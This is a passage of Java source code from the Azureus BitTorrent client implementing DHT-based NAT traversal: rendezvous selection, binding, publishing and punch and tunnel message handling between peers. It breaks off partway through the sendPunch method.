/*
 * Created on 11-Aug-2005
 * Created by Paul Gardner
 * Copyright (C) Azureus Software, Inc, All Rights Reserved.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 */

package com.aelitis.azureus.core.dht.nat.impl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.security.*;
import java.security.spec.RSAPublicKeySpec;
import java.util.*;

import org.gudy.azureus2.core3.util.AESemaphore;
import org.gudy.azureus2.core3.util.AEThread2;
import org.gudy.azureus2.core3.util.BDecoder;
import org.gudy.azureus2.core3.util.Debug;
import org.gudy.azureus2.core3.util.SHA1Simple;
import org.gudy.azureus2.core3.util.SimpleTimer;
import org.gudy.azureus2.core3.util.SystemTime;
import org.gudy.azureus2.core3.util.TimerEvent;
import org.gudy.azureus2.core3.util.TimerEventPerformer;
import org.gudy.azureus2.plugins.PluginInterface;
import org.gudy.azureus2.plugins.utils.*;

import com.aelitis.azureus.core.dht.DHT;
import com.aelitis.azureus.core.dht.DHTLogger;
import com.aelitis.azureus.core.dht.DHTOperationAdapter;
import com.aelitis.azureus.core.dht.DHTOperationListener;
import com.aelitis.azureus.core.dht.nat.*;
import com.aelitis.azureus.core.dht.transport.*;
import com.aelitis.azureus.core.dht.transport.udp.*;
import com.aelitis.azureus.core.util.CopyOnWriteList;

public class 
DHTNATPuncherImpl
	implements DHTNATPuncher
{
	private static boolean		TESTING	= false;
	private static boolean		TRACE	= false;
	
	static{
		if ( TESTING ){
			System.out.println( "**** DHTNATPuncher test on ****" );
		}
		if ( TRACE ){
			System.out.println( "**** DHTNATPuncher trace on ****" );
		}
	}
	
	private static final int	RT_BIND_REQUEST			= 0;
	private static final int	RT_BIND_REPLY			= 1;	
	private static final int	RT_PUNCH_REQUEST		= 2;
	private static final int	RT_PUNCH_REPLY			= 3;	
	private static final int	RT_CONNECT_REQUEST		= 4;
	private static final int	RT_CONNECT_REPLY		= 5;	
	private static final int	RT_TUNNEL_INBOUND		= 6;	
	private static final int	RT_TUNNEL_OUTBOUND		= 7;	
	private static final int	RT_QUERY_REQUEST		= 8;
	private static final int	RT_QUERY_REPLY			= 9;	
	private static final int	RT_CLOSE_REQUEST		= 10;	
	private static final int	RT_CLOSE_REPLY			= 11;	
	
	
	private static final int	RESP_OK			= 0;
	private static final int	RESP_NOT_OK		= 1;
	private static final int	RESP_FAILED		= 2;
	
	private static byte[]		transfer_handler_key = new SHA1Simple().calculateHash("Aelitis:NATPuncher:TransferHandlerKey".getBytes());
	
	private boolean				started;
	
	private DHTNATPuncherAdapter	adapter;
	private	DHT						dht;
	private DHTLogger				logger;
	private boolean					is_secondary;
	
	private PluginInterface		plugin_interface;
	private Formatters			formatters;
	private UTTimer				timer;
	
	private static final int	REPUBLISH_TIME_MIN 			= 5*60*1000;
	private static final int	TRANSFER_TIMEOUT			= 30*1000;
	private static final int	RENDEZVOUS_LOOKUP_TIMEOUT	= 30*1000;
	private static final int	TUNNEL_TIMEOUT				= 3*1000;

	private static final int	RENDEZVOUS_SERVER_MAX			= 8;
	private static final int	RENDEZVOUS_SERVER_TIMEOUT 		= 5*60*1000;
	private static final int	RENDEZVOUS_CLIENT_PING_PERIOD	= 50*1000;		// some routers only hold tunnel for 60s
	private static final int	RENDEZVOUS_PING_FAIL_LIMIT		= 4;			// if you make this < 2 change code below!
	
	private Monitor						server_mon;
	private Map<String,BindingData> 	rendezvous_bindings = new HashMap<String,BindingData>();
	
	private CopyOnWriteList<DHTNATPuncherImpl>		secondaries	 = new CopyOnWriteList<DHTNATPuncherImpl>();
	
	private boolean	force_active;
	
	private long	last_publish;
	
	private Monitor	pub_mon;
	private boolean	publish_in_progress;
	
	private volatile DHTTransportContact		rendezvous_local_contact;
	private volatile DHTTransportContact		rendezvous_target;
	private volatile DHTTransportContact		last_ok_rendezvous;

	private final int[]	MESSAGE_STATS 		= new int[12];

	private int	punch_send_ok;
	private int	punch_send_fail;
	private int	punch_recv_ok;
	private int	punch_recv_fail;
	
	private static final int FAILED_RENDEZVOUS_HISTORY_MAX	= 16;
	
	private Map		failed_rendezvous	= 
		new LinkedHashMap(FAILED_RENDEZVOUS_HISTORY_MAX,0.75f,true)
		{
			protected boolean 
			removeEldestEntry(
		   		Map.Entry eldest) 
			{
				return size() > FAILED_RENDEZVOUS_HISTORY_MAX;
			}
		};
	
	private boolean	rendezvous_running;
	
	private Map		explicit_rendezvous_map		= new HashMap();
	
	private Monitor	punch_mon;
	private List	oustanding_punches 	= new ArrayList();
	
	
	private DHTTransportContact		current_local		= null;
	private DHTTransportContact		current_target		= null;
	private int	rendevzous_fail_count = 0;
	private long rendezvous_last_ok_time;
	private long rendezvous_last_fail_time;
	
	private volatile byte[]							last_publish_key;
	private volatile List<DHTTransportContact>		last_write_set;
	
	private CopyOnWriteList<DHTNATPuncherListener>		listeners = new CopyOnWriteList<DHTNATPuncherListener>();
	
	private boolean	suspended;
	
	public
	DHTNATPuncherImpl(
		DHTNATPuncherAdapter	_adapter,
		DHT						_dht )
	{
		this( _adapter, _dht, false );
	}
	
	private
	DHTNATPuncherImpl(
		DHTNATPuncherAdapter	_adapter,
		DHT						_dht,
		boolean					_is_secondary )
	{
		adapter			= _adapter;
		dht				= _dht;
		is_secondary	= _is_secondary;
		
	
		logger	= dht.getLogger();
		
		plugin_interface	= dht.getLogger().getPluginInterface();
		
		formatters	= plugin_interface.getUtilities().getFormatters();
		pub_mon		= plugin_interface.getUtilities().getMonitor();
		server_mon	= plugin_interface.getUtilities().getMonitor();
		punch_mon	= plugin_interface.getUtilities().getMonitor();
		
		timer = plugin_interface.getUtilities().createTimer(
						"DHTNATPuncher:refresher", true );
	}
	
	public DHTNATPuncher
	getSecondaryPuncher()
	{
		if ( is_secondary ){
			
			throw( new RuntimeException( "Use a primary!" ));
		}
		
		DHTNATPuncherImpl res = new DHTNATPuncherImpl( adapter, dht, true );
		
		boolean	start_it = false;
		
		synchronized( secondaries ){
			
			if ( started ){
				
				start_it = true;
				
			}	
			
			secondaries.add( res );
			
			if ( suspended ){
				
				res.setSuspended( true );
			}
		}
		
		if ( start_it ){
		
			res.start();
		}
		
		return( res );
	}
	
	public void
	start()
	{
		List<DHTNATPuncherImpl>	to_start = new ArrayList<DHTNATPuncherImpl>();
		
		synchronized( secondaries ){
			
			if ( started ){
				
				return;
			}
			
			started	= true;
			
			for ( DHTNATPuncherImpl x: secondaries ){
				
				if ( !x.started ){
					
					to_start.add( x );
				}
			}
		}
		
		for ( DHTNATPuncherImpl x: to_start ){
			
			x.start();
		}
		
		DHTTransport	transport = dht.getTransport();
		
		transport.addListener(
			new DHTTransportListener()
			{
				public void
				localContactChanged(
					DHTTransportContact	local_contact )
				{
					publish( false );
				}
				
				public void
				resetNetworkPositions()
				{
				}
				
				public void
				currentAddress(
					String		address )
				{
				}
				
				public void
				reachabilityChanged(
					boolean	reacheable )
				{
					publish( false );
				}
			});
		
	
		if ( !is_secondary ){
						
			transport.registerTransferHandler(
				transfer_handler_key,
				new DHTTransportTransferHandler()
				{
					public String
					getName()
					{
						return( "NAT Traversal" );
					}
					
					public byte[]
		        	handleRead(
		        		DHTTransportContact	originator,
		        		byte[]				key )
					{
						return( null );
					}
					        	
		        	public byte[]
		        	handleWrite(
		        		DHTTransportContact	originator,
		        		byte[]				key,
		        		byte[]				value )
		        	{
		        		DHTNATPuncherImpl	owner = DHTNATPuncherImpl.this;
		        		
		        		for ( DHTNATPuncherImpl x: secondaries ){
		        		
		        			DHTTransportContact ct = x.current_target;
		        			
		        			if ( ct != null && ct.getExternalAddress().equals( originator.getExternalAddress())){
		        				
		        				owner = x;
		        			}
		        		}
		        		
		        		return( owner.receiveRequest((DHTTransportUDPContact)originator, value ));
		        	}
				});		
				
			timer.addPeriodicEvent(	
				RENDEZVOUS_SERVER_TIMEOUT/2,
				new UTTimerEventPerformer()
				{
					public void
					perform(
						UTTimerEvent		event )
					{
						if ( suspended ){
							
							return;
						}
						
						long	now = SystemTime.getMonotonousTime();
						
						try{
							server_mon.enter();
							
							Iterator<BindingData>	it = rendezvous_bindings.values().iterator();
							
							while( it.hasNext()){
								
								BindingData	entry = it.next();
								
								long	time = entry.getBindTime();
								
								boolean	removed = false;
								
								if ( now - time > RENDEZVOUS_SERVER_TIMEOUT ){
									
										// timeout
									
									it.remove();
									
									removed = true;
								}
								
								if ( removed ){
									
									log( "Rendezvous " + entry.getContact().getString() + " removed due to inactivity" );
								}
							}
						}finally{
							
							server_mon.exit();
						}
						
						Set<InetAddress> rends = new HashSet<InetAddress>();
						
						DHTTransportContact ct = DHTNATPuncherImpl.this.current_target;
						
						if ( ct != null ){
							
							rends.add( ct.getExternalAddress().getAddress());
						}
						
		        		for ( DHTNATPuncherImpl x: secondaries ){
		        			
		        			ct = x.current_target;
		        			
		        			if ( ct != null ){
		        				
		        				InetAddress ia = ct.getExternalAddress().getAddress();
		        				
		        				if ( rends.contains( ia )){
		        					
		        					log( "Duplicate secondary rendezvous: " + ct.getString() + ", re-binding" );
		        					
		        					x.rendezvousFailed(ct, true );
		        					
		        				}else{
		        					
		        					rends.add( ia );
		        				}
		        			}
		        		}
					}
				});
		}
		
		timer.addPeriodicEvent(	
			REPUBLISH_TIME_MIN,
			new UTTimerEventPerformer()
			{
				public void
				perform(
					UTTimerEvent		event )
				{
					publish( false );
				}
			});

		
		publish( false );
	}
	
	public void
	setSuspended(
		boolean	susp )
	{
		suspended = susp;
		
		synchronized( secondaries ){
			
			for ( DHTNATPuncherImpl x: secondaries ){
				
				x.setSuspended( susp );
			}
		}
		
		if ( !susp ){
			
			final DHTTransportContact current_contact = rendezvous_target;
						
			timer.addEvent(
				SystemTime.getCurrentTime() + 20*1000,
				new UTTimerEventPerformer() 
				{	
					public void 
					perform(
						UTTimerEvent event) 
					{
						if ( current_contact != null && current_contact == rendezvous_target ){
							
							rendezvousFailed( current_contact, false );
							
						}else{
							
							publish( false );
						}
					}
				});
		}
	}
	
	public boolean
	active()
	{
		return( rendezvous_local_contact != null );
	}
	
	public void
	forceActive(
		boolean		force )
	{
		force_active = force;
		
		if  ( force ){
			
			publish( true );
		}
	}
	
	public boolean
	operational()
	{
		DHTTransportContact	ok = last_ok_rendezvous;
		
		if ( ok != null && ok == rendezvous_target ){
			
			return( true );
		}
		
		return( false );	
	}
	
	public DHTTransportContact
	getLocalContact()
	{
		return( rendezvous_local_contact );
	}
	
	public DHTTransportContact
	getRendezvous()
	{
		DHTTransportContact	ok = last_ok_rendezvous;
		
		if ( ok != null && ok == rendezvous_target ){
			
			return( ok );
		}
		
		return( null );		
	}
	
	protected void
	publish(
		final boolean		force )
	{
		long now = SystemTime.getMonotonousTime();
			
		if ( force || now - last_publish >= REPUBLISH_TIME_MIN ){
			
			last_publish	= now;
			
			plugin_interface.getUtilities().createThread(
				"DHTNATPuncher:publisher",
				new Runnable()
				{
					public void
					run()
					{
						try{
							pub_mon.enter();
							
							if ( suspended ){
								
								return;
							}
							
							if ( publish_in_progress ){
								
								return;
							}
							
							publish_in_progress	= true;
							
						}finally{
							
							pub_mon.exit();
						}
						
						try{
							publishSupport();
							
						}finally{
							
							try{
								pub_mon.enter();
								
								publish_in_progress	= false;
								
							}finally{
								
								pub_mon.exit();
							}
						}
					}
				});
		}
	}
	
	protected void
	publishSupport()
	{
		DHTTransport	transport = dht.getTransport();
	
		if ( TESTING || force_active || !transport.isReachable() ){
			
			DHTTransportContact	local_contact = transport.getLocalContact();
			
				// see if the rendezvous has failed and therefore we are required to find a new one
			
			boolean force = 
				rendezvous_target != null && 
				failed_rendezvous.containsKey( rendezvous_target.getAddress());
			
			if ( rendezvous_local_contact != null && !force ){
				
				if ( local_contact.getAddress().equals( rendezvous_local_contact.getAddress())){
					
						// already running for the current local contact
					
					return;
				}
			}
			
			DHTTransportContact	explicit = (DHTTransportContact)explicit_rendezvous_map.get( local_contact.getAddress());
			
			if ( explicit != null ){
				
				try{
					pub_mon.enter();
				
					rendezvous_local_contact	= local_contact;
					rendezvous_target			= explicit;
				
					runRendezvous();
					
				}finally{
					
					pub_mon.exit();
				}
			}else{
				
				final DHTTransportContact[] new_rendezvous_target			= { null };
				
				DHTTransportContact[]	reachables = dht.getTransport().getReachableContacts();
					
				Collections.shuffle( Arrays.asList( reachables ));
				
				int reachables_tried	= 0;
				int reachables_skipped	= 0;
				
				final Semaphore sem = plugin_interface.getUtilities().getSemaphore();
				
				for (int i=0;i<reachables.length;i++){
					
					DHTTransportContact	contact = reachables[i];
					
					try{
						pub_mon.enter();
	
							// see if we've found a good one yet
						
						if ( new_rendezvous_target[0] != null ){
						
							break;
						}
						
							// skip any known bad ones
						
						if ( failed_rendezvous.containsKey( contact.getAddress())){
							
							reachables_skipped++;
							
							sem.release();
							
							continue;
						}
					}finally{
						
						pub_mon.exit();
					}
					
					if ( i > 0 ){
						
						try{
							Thread.sleep( 1000 );
							
						}catch( Throwable e ){
							
						}
					}
					
					reachables_tried++;
					
					contact.sendPing(
						new DHTTransportReplyHandlerAdapter()
						{
							public void
							pingReply(
								DHTTransportContact ok_contact )
							{
								trace( "Punch:" + ok_contact.getString() + " OK" );
								
								try{
									pub_mon.enter();
								
									if ( new_rendezvous_target[0] == null ){
									
										new_rendezvous_target[0] = ok_contact;
									}
								}finally{
									
									pub_mon.exit();
									
									sem.release();
								}
							}
							
							public void
							failed(
								DHTTransportContact 	failed_contact,
								Throwable				e )
							{
								try{
									trace( "Punch:" + failed_contact.getString() + " Failed" );
									
								}finally{
									
									sem.release();
								}
							}
						});
				}
				
				for (int i=0;i<reachables.length;i++){
	
					sem.reserve();
					
					try{
						pub_mon.enter();
	
						if ( new_rendezvous_target[0] != null ){
						
							rendezvous_target			= new_rendezvous_target[0];					
							rendezvous_local_contact	= local_contact;
						
							log( "Rendezvous found: " + rendezvous_local_contact.getString() + " -> " + rendezvous_target.getString());
	
							runRendezvous();
						
							break;
						}
					}finally{
						
						pub_mon.exit();
					}
				}
			
				if ( new_rendezvous_target[0] == null ){
				
					log( "No rendezvous found: candidates=" + reachables.length +",tried="+ reachables_tried+",skipped=" +reachables_skipped );
							
					try{
						pub_mon.enter();
	
						rendezvous_local_contact	= null;
						rendezvous_target			= null;
						
					}finally{
						
						pub_mon.exit();
					}
				}
			}
		}else{
			
			try{
				pub_mon.enter();

				rendezvous_local_contact	= null;
				rendezvous_target			= null;
				
			}finally{
				
				pub_mon.exit();
			}
		}
	}
	
	protected void
	runRendezvous()
	{
		try{
			pub_mon.enter();

			if ( !rendezvous_running ){
				
				rendezvous_running	= true;
				
				SimpleTimer.addPeriodicEvent(
					"DHTNAT:cp",
					RENDEZVOUS_CLIENT_PING_PERIOD,
					new TimerEventPerformer() 
					{
						public void 
						perform( 
							TimerEvent ev ) 
						{
							if ( !suspended ){
							
								runRendezvousSupport();
							}
						}
					});
			}
		}finally{
			
			pub_mon.exit();
		}
	}
		
	protected void
	runRendezvousSupport()
	{	       
		try{
			DHTTransportContact		latest_local;
			DHTTransportContact		latest_target;
			
			try{
				pub_mon.enter();
				
				latest_local	= rendezvous_local_contact;
				latest_target	= rendezvous_target;
			}finally{
				
				pub_mon.exit();
			}
			
			if ( current_local != null || latest_local != null ){
			
					// one's not null, worthwhile further investigation
				
				if ( current_local != latest_local ){
			
						// local has changed, remove existing publish
					
					if ( current_local != null ){
						
						if ( !is_secondary ){
							
  							log( "Removing publish for " + current_local.getString() + " -> " + current_target.getString());
  							
  							dht.remove( 
								getPublishKey( current_local ),
								"DHTNatPuncher: removal of publish",
								new DHTOperationListener()
								{
									public void
									searching(
										DHTTransportContact	contact,
										int					level,
										int					active_searches )
									{}
									
									public void
									found(
										DHTTransportContact	contact,
										boolean				is_closest )
									{}
									
									public boolean
									diversified(
										String		desc )
									{
										return( true );
									}
									
									public void
									read(
										DHTTransportContact	contact,
										DHTTransportValue	value )
									{}
									
									public void
									wrote(
										DHTTransportContact	contact,
										DHTTransportValue	value )
									{}
									
									public void
									complete(
										boolean				timeout )
									{}
								});
						}
					}
					
					if ( latest_local != null ){
				      							
						rendevzous_fail_count	= RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with

						if ( !is_secondary ){
							
 							log( "Adding publish for " + latest_local.getString() + " -> " + latest_target.getString());

  							final byte[] publish_key = getPublishKey( latest_local );
  							
  							dht.put(
  									publish_key,
  									"NAT Traversal: rendezvous publish",
  									encodePublishValue( latest_target ),
  									DHT.FLAG_SINGLE_VALUE,
  									new DHTOperationListener()
  									{
  										private List<DHTTransportContact>	written_to = new ArrayList<DHTTransportContact>();
  										
  										public void
  										searching(
  											DHTTransportContact	contact,
  											int					level,
  											int					active_searches )
  										{}
  										
  										public void
  										found(
  											DHTTransportContact	contact,
  											boolean				is_closest )
  										{}
  										
  										public boolean
  										diversified(
  											String		desc )
  										{
  											return( true );
  										}
  										
  										public void
  										read(
  											DHTTransportContact	contact,
  											DHTTransportValue	value )
  										{}
  										
  										public void
  										wrote(
  											DHTTransportContact	contact,
  											DHTTransportValue	value )
  										{
  											synchronized( written_to ){
  											
  												written_to.add( contact );
  											}
  										}
  										
  										public void
  										complete(
  											boolean				timeout )
  										{
  											synchronized( written_to ){
  												last_publish_key	= publish_key;
  												last_write_set		= written_to;
  											}
  										}
  									});
						}
					}
				}else if ( current_target != latest_target ){
					
						// here current_local == latest_local and neither is null! 
					
						// target changed, update publish
					
					rendevzous_fail_count	= RENDEZVOUS_PING_FAIL_LIMIT - 2; // only 2 attempts to start with

					if ( !is_secondary ){
						
 						log( "Updating publish for " + latest_local.getString() + " -> " + latest_target.getString());

  						final byte[] publish_key = getPublishKey( latest_local );
  						
  						dht.put(
							publish_key,
							"DHTNatPuncher: update publish",
							encodePublishValue( latest_target ),
							DHT.FLAG_SINGLE_VALUE,
							new DHTOperationListener()
							{
								private List<DHTTransportContact>	written_to = new ArrayList<DHTTransportContact>();

								public void
								searching(
									DHTTransportContact	contact,
									int					level,
									int					active_searches )
								{}
								
								public void
								found(
									DHTTransportContact	contact,
									boolean				is_closest )
								{}
								
								public boolean
								diversified(
									String		desc )
								{
									return( true );
								}
								
								public void
								read(
									DHTTransportContact	contact,
									DHTTransportValue	value )
								{}
								
								public void
								wrote(
									DHTTransportContact	contact,
									DHTTransportValue	value )
								{
									synchronized( written_to ){
										
										written_to.add( contact );
									}
								}
								
								public void
								complete(
									boolean				timeout )
								{
									synchronized( written_to ){
										last_publish_key	= publish_key;
										last_write_set		= written_to;
									}
								}
							});
					}
				}
			}
			
			current_local	= latest_local;
			current_target	= latest_target;

			if ( current_target != null ){
						
				long	now = SystemTime.getMonotonousTime();
				
				int	bind_result = sendBind( current_target );
				
				if ( bind_result == RESP_OK ){
											
					trace( "Rendezvous:" + current_target.getString() + " OK" );
											
					rendevzous_fail_count	= 0;
					
					rendezvous_last_ok_time = now;
					
					if ( last_ok_rendezvous != current_target ){
						
						last_ok_rendezvous = current_target;
						
						log( "Rendezvous " + latest_target.getString() + " operational" );
						
						for ( DHTNATPuncherListener l: listeners ){
							
							l.rendezvousChanged( current_target );
						}
					}
				}else{
					
					rendezvous_last_fail_time = now;
					
					if ( bind_result == RESP_NOT_OK ){
						
							// denied access
						
						rendevzous_fail_count = RENDEZVOUS_PING_FAIL_LIMIT;
						
					}else{
						
						rendevzous_fail_count++;
					}
					
					if ( rendevzous_fail_count == RENDEZVOUS_PING_FAIL_LIMIT ){
						
						rendezvousFailed( current_target, false );
					}			
				}					
			}
			
		}catch( Throwable e ){
			
			log(e);
			
		}
	}
	
	
	
	protected void
	rendezvousFailed(
		DHTTransportContact	current_target,
		boolean				tidy )
	{
		log( "Rendezvous " + (tidy?"closed":"failed") + ": " + current_target.getString());
		
		try{
			pub_mon.enter();
		
			failed_rendezvous.put( current_target.getAddress(), "" );
			
		}finally{
			
			pub_mon.exit();
		}
		
		publish( true );
	}
	
	protected byte[]
	sendRequest(
		DHTTransportContact		target,
		byte[]					data,
		int						timeout )
	{
		try{
			return(
				dht.getTransport().writeReadTransfer(
					new DHTTransportProgressListener()
					{
						public void
						reportSize(
							long	size )
						{
						}
						
						public void
						reportActivity(
							String	str )
						{
						}
						
						public void
						reportCompleteness(
							int		percent )
						{						
						}
					},
					target,
					transfer_handler_key,
					data,
					timeout ));
				
		}catch( DHTTransportException e ){
			
			// log(e); timeout most likely
			
			return( null );
		}		
	}
	

	protected byte[]
	receiveRequest(
		DHTTransportUDPContact		originator,
		byte[]						data )
	{
		try{
			Map	res = receiveRequest( originator, formatters.bDecode( data ));
			
			if ( res == null ){
				
				return( null );
			}
			
			return( formatters.bEncode( res ));
			
		}catch( Throwable e ){
			
			log(e);
			
			return( null );
		}
	}
	
	protected Map
	sendRequest(
		DHTTransportContact		target,
		Map						data,
		int						timeout )
	{
		int	type = ((Long)data.get("type")).intValue();
		
		if ( type >= 0 && type < MESSAGE_STATS.length ){
			
			MESSAGE_STATS[type]++;
		}
		
		try{
			byte[]	res = sendRequest( target, formatters.bEncode( data ), timeout );
			
			if ( res == null ){
				
				return( null );
			}
			
			return( formatters.bDecode( res ));
			
		}catch( Throwable e ){
			
			log(e);
			
			return( null );
		}
	}
	
	protected Map
	receiveRequest(
		DHTTransportUDPContact	originator,
		Map						data )
	{		
		int	type = ((Long)data.get("type")).intValue();
		
		if ( type >= 0 && type < MESSAGE_STATS.length ){
			
			MESSAGE_STATS[type]++;
		}
		
		Map	response = new HashMap();
		
		switch( type ){
		
			case RT_BIND_REQUEST:
			{
				response.put( "type", new Long( RT_BIND_REPLY ));
				
				receiveBind( originator, data, response );
				
				break;
			}
			case RT_CLOSE_REQUEST:
			{
				response.put( "type", new Long( RT_CLOSE_REPLY ));
				
				receiveClose( originator, data, response );
				
				break;
			}
			case RT_QUERY_REQUEST:
			{
				response.put( "type", new Long( RT_QUERY_REPLY ));
				
				receiveQuery( originator, data, response );
				
				break;
			}
			case RT_PUNCH_REQUEST:
			{
				response.put( "type", new Long( RT_PUNCH_REPLY ));
				
				receivePunch( originator, data, response );
				
				break;
			}
			case RT_CONNECT_REQUEST:
			{
				response.put( "type", new Long( RT_CONNECT_REPLY ));
				
				receiveConnect( originator, data, response );
				
				break;
			}
			case RT_TUNNEL_INBOUND:
			{				
				receiveTunnelInbound( originator, data );
				
				response = null;
				
				break;
			}
			case RT_TUNNEL_OUTBOUND:
			{				
				receiveTunnelOutbound( originator, data );
				
				response = null;
				
				break;
			}
			default:
			{
				response = null;
				
				break;
			}
		}
		
		Map	debug	= (Map)data.get( "_debug" );
		
		if ( debug != null ){
			
			Map	out = handleDebug( debug );
			
			if ( out != null ){
				
				response.put( "_debug", out );
			}
		}

		return( response );
	}
	
	protected boolean
	sendTunnelMessage(
		DHTTransportContact		target,
		Map						data )
	{
		try{
			return( sendTunnelMessage( target, formatters.bEncode( data )));
			
		}catch( Throwable e ){
			
			log(e);
			
			return( false );
		}
	}
	
	protected boolean
   	sendTunnelMessage(
   		DHTTransportContact		target,
   		byte[]					data )
   	{
   		try{
			dht.getTransport().writeTransfer(
				new DHTTransportProgressListener()
				{
					public void
					reportSize(
						long	size )
					{
					}
					
					public void
					reportActivity(
						String	str )
					{
					}
					
					public void
					reportCompleteness(
						int		percent )
					{						
					}
				},
				target,
				transfer_handler_key,
				new byte[0],
				data,
				TUNNEL_TIMEOUT );
   					
			return( true );
			
   		}catch( DHTTransportException e ){
   			
   			// log(e); timeout most likely
   			
   			return( false );
   		}		
   	}
	
	protected int
	sendBind(
		DHTTransportContact	target )
	{
		try{
			Map	request = new HashMap();
			
			request.put("type", new Long( RT_BIND_REQUEST ));
			
			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );
			
			if ( response == null ){
				
				return( RESP_FAILED );
			}
			
			if (((Long)response.get( "type" )).intValue() == RT_BIND_REPLY ){
				
				int	result = ((Long)response.get("ok")).intValue();
					
				trace( "received bind reply: " + (result==0?"failed":"ok" ));
					
				if ( result == 1 ){
					
					return( RESP_OK );
				}
			}
			
			return( RESP_NOT_OK );
			
		}catch( Throwable e ){
			
			log(e);
			
			return( RESP_FAILED );
		}
	}
	
	protected void
	receiveBind(
		DHTTransportUDPContact	originator,
		Map						request,
		Map						response )
	{
		trace( "received bind request from " + originator.getString());
		
		boolean	ok 	= true;
		boolean	log	= true;
		
		if ( is_secondary ){
			
			ok	= false;
			
			log( "Rendezvous request from " + originator.getString() + " denied as secondary puncher" );

		}else{
			
			try{
				server_mon.enter();
			
				String	key =  originator.getAddress().toString();
	
				BindingData	entry = rendezvous_bindings.get( key );
				
				if ( entry == null ){
				
					if ( rendezvous_bindings.size() == RENDEZVOUS_SERVER_MAX ){
						
						ok	= false;
					}
				}else{
					
					if ( entry.isOKToConnect()){
						
							// already present, no need to log again
					
						log	= false;
						
					}else{
						
							// looks like it is failing, tell it to go away
						
						ok = false;
					}
				}
				
				if ( ok ){
					
					long	now = SystemTime.getMonotonousTime();
									
					if ( entry == null ){
					
						rendezvous_bindings.put( key, new BindingData( originator, now ));
						
					}else{
						
						entry.rebind();
					}
					
					response.put( "port", new Long( originator.getAddress().getPort()));
				}
			}finally{
				
				server_mon.exit();
			}
			
			if ( log ){
				
				log( "Rendezvous request from " + originator.getString() + " " + (ok?"accepted":"denied" ));
			}
		}
		
		response.put( "ok", new Long(ok?1:0));
	}
		
	public void
	destroy()
	{
		try{
			server_mon.enter();
			
			Iterator<BindingData>	it = rendezvous_bindings.values().iterator();
			
			while( it.hasNext()){
				
				BindingData	entry = it.next();
				
				final DHTTransportUDPContact	contact = entry.getContact();
				
				new AEThread2( "DHTNATPuncher:destroy", true )
				{
					public void
					run()
					{
						sendClose( contact );
					}
				}.start();
			}
			
			byte[]						lpk	= last_publish_key;
			List<DHTTransportContact>	lws = last_write_set;
			
			if ( lpk != null && lws != null ){
				
				log( "Removing publish on closedown");
				
				DHTTransportContact[]	contacts = lws.toArray( new DHTTransportContact[ lws.size()] );
				
				dht.remove( 
					contacts, 
					lpk, 
					"NAT Puncher destroy", 
					new DHTOperationAdapter());
			}
			
		}catch( Throwable e ){
			
			log( e );
			
		}finally{
			
			server_mon.exit();
		}
	}
	
	protected int
	sendClose(
		DHTTransportContact	target )
	{
		try{
			Map	request = new HashMap();
			
			request.put("type", new Long( RT_CLOSE_REQUEST ));
			
			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );
			
			if ( response == null ){
				
				return( RESP_FAILED );
			}
			
			if (((Long)response.get( "type" )).intValue() == RT_CLOSE_REPLY ){
				
				int	result = ((Long)response.get("ok")).intValue();
					
				trace( "received close reply: " + (result==0?"failed":"ok" ));
					
				if ( result == 1 ){
					
					return( RESP_OK );
				}
			}
			
			return( RESP_NOT_OK );
			
		}catch( Throwable e ){
			
			log(e);
			
			return( RESP_FAILED );
		}
	}
	
	protected void
	receiveClose(
		DHTTransportUDPContact	originator,
		Map						request,
		Map						response )
	{		
		trace( "received close request" );
					
		final DHTTransportContact	current_target = rendezvous_target;
	
		if ( current_target != null && Arrays.equals( current_target.getID(), originator.getID())){
			
			new AEThread2( "DHTNATPuncher:close", true )
			{
				public void
				run()
				{
					rendezvousFailed( current_target, true );
				}
			}.start();
		}
		
		response.put( "ok", new Long(1));
	}
	
	

    /**
     * XXX: unused
     */
    private int
	sendQuery(
		DHTTransportContact	target )
	{
		try{
			Map	request = new HashMap();
			
			request.put("type", new Long( RT_QUERY_REQUEST ));
			
			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );
			
			if ( response == null ){
				
				return( RESP_FAILED );
			}
			
			if (((Long)response.get( "type" )).intValue() == RT_QUERY_REPLY ){
				
				int	result = ((Long)response.get("ok")).intValue();
					
				trace( "received query reply: " + (result==0?"failed":"ok" ));
					
				if ( result == 1 ){
					
					return( RESP_OK );
				}
			}
			
			return( RESP_NOT_OK );
			
		}catch( Throwable e ){
			
			log(e);
			
			return( RESP_FAILED );
		}
	}
	
	protected void
	receiveQuery(
		DHTTransportUDPContact	originator,
		Map						request,
		Map						response )
	{		
		trace( "received query request" );
					
		InetSocketAddress	address = originator.getTransportAddress();
		
		response.put( "ip", address.getAddress().getHostAddress().getBytes());
		
		response.put( "port", new Long( address.getPort()));
		
		response.put( "ok", new Long(1));
	}
	
	protected Map
	sendPunch(
		DHTTransportContact 			rendezvous,
		final DHTTransportUDPContact	target,
		Map								originator_client_data,
		boolean							no_tunnel )
	{		
		AESemaphore	wait_sem 	= new AESemaphore( "DHTNatPuncher::sendPunch" );
		Object[]	wait_data 	= new Object[]{ target, wait_sem, new Integer(0)};
		
		try{

			try{
				punch_mon.enter();
			
				oustanding_punches.add( wait_data );
				
			}finally{
				
				punch_mon.exit();
			}
			
			Map	request = new HashMap();
			
			request.put("type", new Long( RT_PUNCH_REQUEST ));
			
			request.put("target", target.getAddress().toString().getBytes());
			
			if ( originator_client_data != null ){
				
				if ( no_tunnel ){
					
					originator_client_data.put( "_notunnel", new Long(1));
				}
				
				request.put( "client_data", originator_client_data );
			}
	
				// for a message payload (i.e. no_tunnel) we double the initiator timeout to give
				// more chance for reasonable size messages to get through as they have to go through
				// 2 xfer processes
			
